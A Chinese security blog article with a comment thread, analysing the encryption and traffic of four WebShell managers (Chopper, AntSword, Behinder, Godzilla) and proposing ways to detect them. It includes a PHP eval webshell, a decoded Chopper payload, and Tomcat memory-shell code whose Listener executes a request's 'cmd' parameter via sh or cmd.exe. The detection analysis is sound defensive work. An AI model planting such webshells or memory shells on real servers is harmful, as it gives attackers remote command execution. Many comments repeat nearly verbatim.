前言
在网络安全实战攻防演练中,只有了解攻击方的攻击思路和运用武器,防守方才能有效应对。以WebShell 为例,由于企业对外提供服务的应用通常以Web形式呈现,因此Web站点经常成为攻击者的攻击目标。攻击者找到Web站点可利用的漏洞后,通常会在Web站点植入WebShell程序,从而实现对目标站点的控制。为了躲避防守方的检测,攻击方加密WebShell成为常态,由于流量加密,传统的WAF、WebIDS设备难以检测,给防守方监控带来巨大的挑战。因此,防守方需要了解攻击方使用的加密武器,才能找到相应的破解方式。
本文将通过分析目前攻击方常用的四大主流WebShell管理工具:中国菜刀、中国蚁剑、冰蝎shell管理工具、哥斯拉shell管理工具,探讨其加密特征,为防守方提供一些新的检测思路。
中国菜刀
中国菜刀(Chopper)是一款经典的网站管理工具,具有文件管理、数据库管理、虚拟终端等功能。
服务端
<?php eval($_POST["Sp4ar"]);?>
其中Sp4ar是连接密码,可以随意更改。也可对服务端做一些混淆操作,防止被查杀。
配置
<T>类型</T> 类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种 <H>主机地址<H> 主机地址可为机器名或IP地址,如localhost <U>数据库用户</U> 连接数据库的用户名,如root <P>数据库密码</P> 连接数据库的密码,如123456 <L>编码类型</L> utf8,gbk等数据编码类型 ASP和ASP.NET脚本: <T>类型</T> 类型只能填ADO <C>ADO配置信息</C> ADO连接各种数据库的方式不一样。如MSSQL的配置信息为 Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456 在设置好配置之后可以对网站数据库,文件等进行管理。
在设置好配置之后可以对网站数据库,文件等进行管理。



通信流量
POST /u.php HTTP/1.1 X-Forwarded-For: 1*.***.*.*** Referer: http://1*.***.*.*** Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: 1*.***.*.*** Content-Length: 690 Connection: Close Cache-Control: no-cache Cookie: PHPSESSID=m4mi07jn4u6cd3gmhdt97fmq55 Sp4ar=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
(1)请求侧
从payload中可以看出,eval后面卡了一个%01的字符,这样的语法在高版本的php中无法执行,低版本抛出warning后正常执行。获取z0的值并进行base64解码之后传入eval执行,z0解码之后的内容为:
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}/t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="/t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();
(2)响应侧
从请求侧的代码来看,执行结果会被包裹在->| |<-中,抓包查看:

可以发现执行结果确实是在->||<-中。
检测
文件检测:通过静态文件的方式进行WebShell查杀。
流量检测:通过检测通信中的eval,base64_decode等关键字。
中国蚁剑
中国蚁剑与中国菜刀相比,界面更加美观、功能更加齐全,并且自定义的程度更高且开放源代码。
服务端
中国蚁剑的服务端会根据不同编码器有所变化,但还是从最基础的开始分析:
<?php eval($_POST["Sp4ar"]);?> //pwd表示连接密码,可以随意更换
配置
编辑/新增记录的时候可以自定义头部字段,选择编/解码器以及一些其他设置。中国蚁剑默认的UA头是antSword/v版本号,目前已经被很多安全产品标记,所以在配置的时候通常会更改,改UA头的方式有两种:一、添加Shell的时候在请求信息中添加User-Agent字段覆盖掉原始的值,二、在modules/request.js修改USER_AGENT的值。第一种方法只针对当前添加的记录生效,第二种方法针对所有的shell都生效。
中国蚁剑的编/解码器可以对请求/响应侧的流量进行编/解码以绕过流量检测,在最新版的中国蚁剑中(v2.1.11)默认的编码器有五个,解码器有三个。
(1)编码器
编码器是在发送数据到服务端之前对payload进行相关处理,目的是为了绕过请求侧的流量检测,默认的编码器:
default编码器:不对传输的payload进行任何操作。
base64编码器:对payload进行base64编码。
chr编码器:对payload的所有字符都利用利用chr函数进行转换。
chr16编码器:对payload的所有字符都利用chr函数转换,与chr编码器不同的是chr16编码器对chr函数传递的参数是十六进制。
rot13编码器:对payload中的字母进行rot13转换。
以上五种编码为中国蚁剑自带的,不需要配置就可以直接使用,除此之外,还存在一个RSA编码器,该编码器将
RSA编码器:该编码器默认不展示,需要自己配置。配置方法:在编码管理界面点击生成RSA配置生成公钥、私钥和PHP代码,然后点击新建编码器选择PHP RSA之后输入编码器的名字即可。
(2)解码器
解码器主要是对接收到的数据进相关处理,目的是为了绕过响应侧的流量检测,默认的解码器:
default解码器:不对响应数据进行处理。
base64解码器:将收到的数据进行base64解码。
rot13解码器:将收到的数据进行rot13转换,由于英文字母一共26个所以置换两次之后会还原。
通信流量
(1)请求侧
针对不同编码器请求侧的流量有所不同
默认编码器发送的数据如下:
base64编码器发送数据如下:
chr:
chr16:
rot13:
rsa:
(2)响应侧
采用不同解码器响应方向的数据也不同。
default:
base64:
rot13:
检测
1. 文件检测:通过静态文件的方式进行WebShell查杀
2. 流量检测:针对不同的编码器流量特征不相同。
针对前面1.2.1中的前五种编码器,可以检测关键字。
针对rsa编码器:由于数据完全加密所以无法使用关键字检测。仔细观察加密之后的数据可以知道:在长度足够的情况下,每相隔固定的长度就会出现一个|字符,分析编码器可知,加密时是先将原始的payload进行分段然后对每一个段进行加密并以base64的格式输出。在rsa加密算法中密文长度等于密钥长度,明文长度不超过密钥长度。由于payload长度比密文长很多所以在加密是必须切割,但是无论怎么切割加密之后的数据长度都是都是固定的,所以在检测的时候可以根据这一特性来进行检测。由于输出结果是base64编码的所以每一个段的数据的字符都是在a-zA-Z0-9+=/之间,每一个段之间都有一个分隔符,当密钥长度是1024位的时候,每个段的明文长度是172,该编码器默认生成的长度是1024且在前端无法更改,但是可以通过替换antData目录下的key_rsa和key_rsa.pub两个文件来更换密钥长度,这两个文件可以通过openssl生成。
生成方式如下:
1. 生成rsa私钥
openssl genrsa -out key_rsa 2048
2. 生成公钥
openssl rsa -in key_rsa -pubout -out key_rsa.pub
然后分别替换key_rsa和key_rsa.pub即可。替换之后可以发现每个分段的长度明显增加从之前的172变成344,当密钥长度增加到3072时,分段长度增加到512,同时加密所需时间明显增加。
冰蝎Shell管理工具
冰蝎Shell管理工具是一款流行的、采用二进制动态加密传输数据的网站管理工具。
服务端
相关链接:
《利用动态二进制加密实现新型一句话木马之Java篇》:
https://xz.aliyun.com/t/2744
《利用动态二进制加密实现新型一句话木马之.NET篇》:
https://xz.aliyun.com/t/2758
《利用动态二进制加密实现新型一句话木马之PHP篇》:
https://xz.aliyun.com/t/2774
配置
目前冰蝎Shell管理工具的配置仅支持代理和自定义HTTP头部。
通信流量
(1)请求侧

(2)响应侧
检测
1. 文件检测:文件的特征主要在解密算法部分和执行payload的部分。
2. 流量检测:由于最新版冰蝎Shell管理工具这个交互过程都采用加密传输,无法采用检测关键字的方法进行检测。相比于2.0的版本,3.0去除了协商密钥的过程,但这带来了一个问题就是,整个过程的密钥是不变的,同时分析冰蝎的源码可以发现:在传输php,jsp,aspx时前面的字段是固定的,这就导致了在一个WebShell中每一个流的前面的字节都是相同,php前面是assert|eval(base64_decode(、csharp是dll文件的头部格式、java则是class文件的头部格式。由于asp(php无法加载openssl时)采用异或对payload进行运算,根据异或的特征(两次异或即还原数据)可以使用密文以原始的payload的前十六位进行异或得到的就是密钥,再用密钥对整体数据进行解密即可还原出明文。
3. 异常进程检测:当冰蝎Shell管理工具执行命令是可以发现系统中会创建两个进程(父子关系)来执行命令。

当启用虚拟终端时同样如此。

哥斯拉Shell管理工具
哥斯拉Shell管理工具与冰蝎Shell管理工具类似,通信过程都是加密流量,工具界面如下:

WebShell连接
作者已经内置了Payload以及加密器,以JavaDynamicPayload为例,我们生成一个WebShell查看代码。

Unicode解码后代码:

字符串xc为自定义秘钥(pass)MD5的前16位。

拼接自定义的密码和秘钥获取md5值, 这里的md5值作为认证密码和密钥,主要代码逻辑如下:

抓取连接Shell地址过程数据包,一共进行了三次请求响应:


JavaAesBase64类初始化方法如下,加解密方法与生成的WebShell相对应:

流量端检测思路
围绕流量测的检测思路,因为其流量加密的特性,其实与冰蝎Shell管理工具想法大致相同,往往需要多种弱特征结合验证,如可以通过分析Shell连接过程的简单固有特征,结合数据统计分析来进行检测等。
内存马
内存马特点:文件无需落地,更加隐蔽。以tomcat为例,内存马分为以下三种:Servlet、Filter、Listener
(1)Servlet内存马
以一个简单的Servletdemo为例,访问url,查看tomcat对应的调用栈如下:
我们知道通过web.xml或者注解的方式可以配置自定义的servlet与url的映射。而在tomcat中,Wrapper等效于Servlet,即我们只要自定义的实现该逻辑,就可实现Servlet内存马。
Servlet3.0开始提供了动态注册filter、Servlet、Listener,这里不再赘述,感兴趣的可以自己调试验证下,主要逻辑为:
创建自定义Servlet
使用Wrapper对应进行封装
添加封装后的Wrapper到StandardContext的children当中
添加ServletMapping将访问的URL和Servlet进行绑定
如234步骤实现代码如下:
// 获取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext(); // 用Wrapper对其进行封装 org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper(); newWrapper.setName("sangfor"); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); // 添加封装后的恶意Wrapper到StandardContext的children当中 standardCtx.addChild(newWrapper); // 添加ServletMapping将访问的URL和Servlet进行绑定 standardCtx.addServletMapping("/sangfor","sangfor");
(3)Listener内存马
请求站点时,优先级如下,Listener -> Filter -> Servlet,Listener是最先被加载的
当设置了ServletRequestListener时,每次请求都会先进入Listener 进行逻辑判断
Listen监视器分类:
ServletContext监听, 服务启动和停止时触发
Session监听, Session初始化和销毁时触发
Request监听, 访问服务时触发
我们需要通过Request这个点来实现,即ServletRequestListener,主要逻辑:
自定义Listener
调用StandardContext对象的addApplicationEventListener方法来添加Listenner
(直接使用ApplicationContext的addListenner方法来动态添加Listener会进行web容器状态判断)
主要代码如下:
//listener ServletRequestListener demoListener = new ServletRequestListener() { @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) { } @Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("requestInitialized"); String cmd = sre.getServletRequest().getParameter("cmd"); try{ //获取sre中的requestFacade对象 org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade)sre.getServletRequest(); //反射获取RequestFacade中的request对象 java.lang.reflect.Field connrequestField = org.apache.catalina.connector.RequestFacade.class.getDeclaredField("request"); connrequestField.setAccessible(true); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) connrequestField.get(requestFacade); //执行命令并回显 String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[] {"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); java.util.Scanner s = new java.util.Scanner(in).useDelimiter("//a"); String output = s.hasNext() ? s.next() : ""; java.io.Writer writer = request.getResponse().getWriter(); java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter"); usingWriter.setAccessible(true); usingWriter.set(request.getResponse(), Boolean.FALSE); writer.write(output); writer.flush(); }catch (Exception e){ e.printStackTrace(); } } }; //获取standardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); org.apache.catalina.core.StandardContext standardCtx = (org.apache.catalina.core.StandardContext)webappClassLoaderBase.getResources(). getContext(); //添加监听器 standardCtx.addApplicationEventListener(demoListener);
(4)哥斯拉Shell管理工具实现内存马
我们再回过头来看下哥斯拉Shell管理工具中内存马的实现,内部实现了不同webshell的内存马,使用jd-gui工具打开class文件,可以看到,C刀,冰蝎不同shell的实现逻辑大相径庭,根据其shell管理工具进行了修改:



(5)内存马检测
有了其攻击手段的实现,防御检测思路也不断更新替换,上述也仅仅是tomcat的实现思路,不同容器框架的具体实现也需要对应的进行封装修改,但其思路大致相同。
万变不离其宗,在主机侧,我们可以通过以下维度是进行检测:
攻击行为固有行为特征
不同于正常业务的特殊共性
高危敏感行为检测
网上已有不少主机侧检测思路,如:
核心特点均会是被加载进jvm的类,即思路为遍历获取每个类,通过类黑名单、高危风险类筛选检测
内存马不落地,即本地不存在对应class文件,攻击者又会在内存马中放置危险操作这两个特性,检测对应ClassLoader目录文件是否存在class文件。我们再dump对应class(如filter)进行check
我们也可以通过RASP技术注入监测阻断恶意敏感操作,也可以达到比较好的类隔离效果。
总结
安全本质上就是一个攻防对抗的过程,随着攻击方式的不断升级变形,防守再也在不是一成不变,固守单一防御检测手段,只会止步不前。而在WebShell检测领域,随着WebShell的更新迭代,流量测加密、更加隐蔽攻击手段已成为趋势,防守方不仅要在流量检测方面提升效果,在主机侧检测也需同步更新升级,相信在不久的未来,检测防御WebShell的技术也会更加成熟有效。
参考链接
https://www.freebuf.com/sectool/252840.html
http://li9hu.top/tomcat%E5%86%85%E5%AD%98%E9%A9%AC%E4%B8%80-%E5%88%9D%E6%8E%A2/
https://my.oschina.net/u/4593189/blog/4805061
https://github.com/feihong-cs/memShell
https://gv7.me/articles/2020/kill-java-web-filter-memshell/

山东省滨州市 1F
菜刀这老古董现在还有人用?低版本PHP都快绝迹了吧🤔
澳大利亚 2F
RSA换密钥后分段长度变了,检测规则得调,不然真会漏。
韩国 3F
蚁剑改UA那块说得对,上次就因为没改被WAF直接拦了
湖北省孝感市 4F
冰蝎3.0去协商密钥是不是反而更容易被流量分析抓到固定头?
广西桂林市 B1
@ 雪封 冰蝎的固定头特征在实战里确实好抓,但实际部署要考虑误报率
韩国 5F
哥斯拉那个内存马实现看着有点晕,有大佬能说说实际攻防中触发率高吗
日本 6F
前几天刚处理过一个蚁剑base64编码的shell,日志里全是z0参数,一眼就认出来了
上海市普陀区 B1
@ CrimsonShadow 对,z0参数太典型了,我们这儿的告警规则就靠这个。
湖北省荆州市 7F
内存马检测那段提到dump class检查,但生产环境哪敢随便dump啊,怕崩
新疆乌鲁木齐市 8F
求问下RSA编码器换2048密钥后,流量分段长度变了,检测规则是不是得重写?
福建省龙岩市 9F
这四种工具里感觉冰蝎最阴,加密还带进程父子关系,EDR容易漏
江苏省泰州市 10F
tomcat listener内存马那段代码反射拿request对象,实测在高版本会报权限错吧?
日本 B1
@ 星辰织者 内存马那段反射代码在高版本jdk里确实可能挂,得换种方式拿context
日本 11F
WebShell加密越来越花,防守方光靠关键字真不够用了,得上行为分析
印度 B1
@ 石匠黄十七 行为分析要结合上下文,单看流量加密程度不够,还得看进程链
广东省广州市 B1
@ 石匠黄十七 感觉文章里说的流量检测思路,实际操作起来可能没那么简单。
韩国 12F
菜刀那个%01的骚操作现在还能用吗,高版本php直接跪了吧
北京市 13F
之前用哥斯拉连过几个站,内存马存活时间比文件马长不少,清起来麻烦
韩国 14F
菜刀现在也就打打老系统了,新环境基本没戏
湖北省武汉市 15F
感觉蚁剑的RSA编码器换个长密钥,流量检测规则就得跟着调,挺折腾的
泰国 B1
@ 画师文远 是的,密钥长度一变,之前基于固定分段长度的规则就失效了,得用更通用的统计方法。
辽宁省鞍山市 16F
有没有人试过在容器环境里检测内存马?感觉常规手段不太管用
江苏省南京市 17F
内存马检测说dump class,但线上业务哪敢随便动,怕出事故
浙江省嘉兴市 B1
@ 渔夫蒋 是啊,线上环境谁敢随便dump,一搞不好服务就挂了。
贵州省贵阳市 18F
哥斯拉那个payload生成器挺方便的,但加密流量跟冰蝎比起来特征更明显吗?
重庆市 B1
@ PlumFog 冰蝎3.0那个固定头确实是个弱点,流量分析容易抓到特征。
湖北省武汉市 19F
菜刀的低版本php限制现在确实是个问题,不过有些旧项目还在跑5.6
泰国 20F
菜刀那个%01绕过现在确实不行了,高版本直接报错
浙江省杭州市 21F
蚁剑改UA确实很关键,上次就栽在这上面
上海市浦东新区 22F
内存马dump class的方法生产环境确实不敢用,风险太大
吉林省吉林市 23F
冰蝎3.0固定密钥确实是个双刃剑,加密简单了但特征也更明显了
日本 24F
RSA编码器换密钥后检测规则得重写,不然容易漏
日本 25F
之前遇到过哥斯拉内存马,清理起来特别费劲
江苏省苏州市 26F
感觉四种工具里冰蝎最难缠,加密流量加进程隐藏
日本 B1
@ 烟锁楼 对,现在高版本PHP基本都废了,也就一些遗留系统还可能中招。
湖北省十堰市 27F
有没有更简单的方法检测内存马?线上环境不敢乱动
澳大利亚 28F
哥斯拉的payload生成确实方便,但加密特征比冰蝎明显些
日本 29F
这四种工具分析得挺全,防守方可以对照着写检测规则了。
福建省福州市 30F
菜刀现在确实不常见了,不过有些老系统可能还在用。
浙江省杭州市 31F
流量检测那块感觉可以再展开说说,比如怎么结合统计特征。
浙江省杭州市 32F
内存马检测那段,除了dump class还有没有别的非侵入方法?
陕西省榆林市 33F
之前分析日志时见过类似冰蝎的父子进程,当时差点漏掉。
山东省日照市 34F
哥斯拉那个payload生成器确实方便,但加密流量跟冰蝎比起来特征更明显吗?
江苏省常州市 35F
有没有人试过在容器环境里检测内存马?感觉常规手段不太管用。
印度尼西亚 36F
RSA编码器换2048密钥后,流量分段长度变了,检测规则是不是得重写?
浙江省绍兴市 37F
蚁剑改UA那块说得对,上次就因为没改被WAF直接拦了。
上海市 38F
前几天刚处理过一个蚁剑base64编码的shell,日志里全是z0参数,一眼就认出来了。
陕西省 39F
哥斯拉的内存马触发率看容器版本,新点的Tomcat有防护。
内蒙古锡林郭勒盟锡林浩特市 40F
菜刀那个%01的字符,老版本才认吧?
宁夏银川市 B1
@ 社交超能力 对,PHP老版本才认这个字符,新版本会报错
浙江省 41F
冰蝎的固定前缀算硬伤吗?
韩国 B1
@ 猫咪的日常 算个挺明显的特征吧